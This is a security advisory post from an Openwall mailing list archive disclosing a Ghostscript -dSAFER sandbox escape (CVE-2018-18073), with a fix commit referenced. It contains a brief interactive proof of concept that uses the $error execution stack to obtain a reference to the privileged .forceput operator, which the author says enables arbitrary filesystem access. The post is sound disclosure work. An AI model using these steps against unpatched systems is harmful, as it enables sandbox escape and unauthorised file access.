Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 10 Oct 2018 11:01:47 -0700
From: Tavis Ormandy <>
Subject: ghostscript: saved execution stacks can leak operator arrays (CVE-2018-18073)

Hello, this <>
is another (different from CVE-2018-17961) -dSAFER sandbox escape.

There are a whole bunch of different stacks in postscript, there's the
operand stack, the dict stack, the execution stack, and so on.

When the error handler is invoked in postscript, part of the execution
context is passed to the handler so that it can examine what went wrong.
That context is called `$error`, and could have included parts of
executeonly routines, and therefore could leak references to system

$ gs -dSAFER -sDEVICE=ppmraw
GS>{ null .setglobal } stopped clear
GS>$error /estack get ==
[...  {-dict- /FontDirectory --.currentglobal-- {-dict-}
{/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--}]

Notice the .forceput in there...

GS>$error /estack get 29 get ==
{-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory
--.systemvar--} --ifelse-- --.forceput-- --pop--}
GS>$error /estack get 29 get 6 get ==

Once you have a reference to forceput, you can do anything you like, see
the exploit for CVE-2018-18073 as an example of abusing forceput to get
arbitrary filesystem access.

The fix is public now, this is the commit to fix it:;a=commit;h=34cc326eb2c5695833361887fe0b32e8d987741c

This was ghostscript bug 699927.

Thanks, Tavis.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.